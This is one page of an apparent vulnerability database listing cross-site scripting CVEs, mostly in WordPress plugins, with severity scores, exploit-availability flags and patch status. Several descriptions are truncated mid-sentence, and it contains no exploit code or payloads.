The SolarWinds Platform was determined to be affected by a stored cross-site scripting vulnerability affecting the web console. Rated medium severity (CVSS 4.3), this vulnerability is low attack complexity. No vendor patch available.

XSS Solarwinds Platform
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Insert or Embed Articulate Content into WordPress plugin through 4.3000000023 lacks validation of URLs when adding iframes, allowing attackers to inject an iFrame in the page and thus load. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Insert Or Embed Articulate Content
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Codeless Cowidgets - Elementor Addons allows Stored XSS.1.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cowidgets Elementor
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Brevo Newsletter, SMTP, Email marketing and Subscribe forms by Sendinblue allows Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Newsletter Smtp Email Marketing And Subscribe
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Themesflat Themesflat Addons For Elementor allows Stored XSS.1.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Themesflat Addons For Elementor
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpvividplugins WPvivid Backup for MainWP wpvivid-backup-mainwp allows Reflected XSS.9.32. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brave Brave brave-popup-builder allows DOM-Based XSS.6.9. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CyberChimps Responsive allows Stored XSS.0.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Responsive
NVD
EPSS 0% CVSS 7.8
HIGH This Week

A cross-site scripting (XSS) vulnerability in versions 3.7.0 or newer of Ydata's ydata-profiling open-source library allows for payloads to be run when a maliocusly crafted report is viewed in the. Rated high severity (CVSS 7.8), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Slider Revolution plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 6.7.10 due to insufficient input sanitization and output escaping on the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Slider Revolution
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Slider Revolution plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Add Layer widget in all versions up to, and including, 6.7.11 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Slider Revolution
NVD
EPSS 6% CVSS 8.3
HIGH POC This Week

Missing input validation in the SEH Computertechnik utnserver Pro, SEH Computertechnik utnserver ProMAX, SEH Computertechnik INU-100 web-interface allows stored Cross-Site Scripting (XSS)..1.22 and. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SureTriggers - Connect All Your Plugins, Apps, Tools & Automate Everything!. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The FS Product Inquiry WordPress plugin through 1.1.1 does not sanitise and escape some form submissions, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Fs Product Inquiry
NVD WPScan
EPSS 0% CVSS 8.2
HIGH POC This Week

The FS Product Inquiry WordPress plugin through 1.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Fs Product Inquiry
NVD WPScan
EPSS 0% CVSS 8.3
HIGH POC This Week

The wp-eMember WordPress plugin before 10.3.9 does not sanitize and escape the "fieldId" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Emember
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The Cowidgets - Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘heading_tag’ parameter in all versions up to, and including, 1.1.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Cowidgets Elementor Addons +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Nafeza Prayer Time plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2.9 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Essential Real Estate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ere_property_map' shortcode in all versions up to, and including, 4.4.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Essential Real Estate
NVD
Prev Page 190 of 435 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39082

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy